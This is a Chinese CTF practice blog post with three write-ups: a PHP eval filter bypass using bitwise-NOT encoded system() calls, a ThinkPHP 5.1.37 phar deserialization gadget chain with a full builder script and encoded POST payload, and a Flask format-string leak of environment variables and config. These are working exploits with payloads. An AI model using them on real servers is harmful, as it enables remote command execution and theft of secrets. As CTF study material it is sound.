从零开始的CTF复健练习
持续更新直到不学习安全那天
笔记作者:outx
最后一次更新于2021-11-08
CTF复健暂停,直接实操!
无字母、数字、_的eval执行 index.php
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ("flag.php" );if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (strlen($code )>20 ){ die ("Too Long." ); } if (preg_match("/[A-Za-z0-9_]+/" ,$code )){ die ("Not Allowed." ); } @eval ($code ); }else { highlight_file(__FILE__ ); }
这道题很常规,只是限制长度搞的我很难受,一开始只想到了用${}
构造$_GET
,但是由于长度限制,想拿flag必须要构造两次,然后分别填入函数名和参数,光是构造函数${~%22%A0%B8%BA%AB%22}[%AA]();
已经占用了16个字符,在4个字符里指定flag.php
是不现实的。
在hxd的提示下,可以直接取反构造函数和取反构造参数,于是构造(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
,翻译回来是system("ls /")的意思,这里注意可以不带引号玩
用于生成payload的php脚本如下:
1 2 3 4 5 6 <?php $func = urlencode(~"system" );$cmd = urlencode(~"ls /" );$payload = "(~$func )(~$cmd );" ;echo $payload ;
利用phar触发TP5.1.37的反序列化 源码:s=index/index/hello
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php namespace app \index \controller ;use think \Controller ;class Index extends controller { public function index ( ) { return '这部分是前端' ; } public function hello ( ) { highlight_file(__FILE__ ); $hello = base64_encode('Welcome to D0g3' ); if (isset ($_GET ['hello' ])||isset ($_POST ['hello' ])) exit ; if (isset ($_REQUEST ['world' ])) { parse_str($_REQUEST ['world' ],$haha ); extract($haha ); } if (!isset ($a )) { $a = 'hello.txt' ; } $s = base64_decode($hello ); file_put_contents('hello.txt' , $s ); if (isset ($a )) { echo (file_get_contents($a )); } } }
一个任意文件读取+一个指定后缀名文件的写入。通过写入phar包,利用phar://读取触发反序列化,结合TP5.1.37的反序列化漏洞达到命令执行的目的。
tp5137.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["ethan" =>["dir" ,"calc" ]]; $this ->data = ["ethan" =>new Request()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_method' => '_method' , 'var_ajax' => '_ajax' , 'var_pjax' => '_pjax' , 'var_pathinfo' => 's' , 'pathinfo_fetch' => ['ORIG_PATH_INFO' , 'REDIRECT_PATH_INFO' , 'REDIRECT_URL' ], 'default_filter' => '' , 'url_domain_root' => '' , 'https_agent_name' => '' , 'http_agent_ip' => 'HTTP_X_REAL_IP' , 'url_html_suffix' => 'html' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;$win = new Windows();?>
phar.phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include 'tp5137.php' ;@unlink('phar.phar' ); $phar = new Phar('phar.phar' );$phar ->startBuffering();$phar ->setStub("<?php __HALT_COMPILER(); ?>" );$o = $win ;$phar ->setMetadata($o );$phar ->addFromString("test.txt" , "test" );$phar ->stopBuffering();echo urlencode(urlencode(file_get_contents("phar.phar" )));
paylod:
1 2 3 4 ?s=index/index/hello&id=cat%20/y0u_f0und_It POST world=hello=PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%252BDQrBAQAAAQAAABEAAAABAAAAAACLAQAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0IAAAAdGVzdC50eHQEAAAAqsahYQQAAAAMfn%252FYpAEAAAAAAAB0ZXN0tBgBQ8v5C13sBL%252Fyl3ck2XQg5WACAAAAR0JNQg%253D%253D%26a=phar://hello.txt
FLASK 格式化字符串 读environ wsgi_app
并非唯一,可以去Flask类里面找,几乎所有包含上下文关系的都可以,EXP:{passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}
需要读config参考:{passhash.__str__.__globals__[app].config}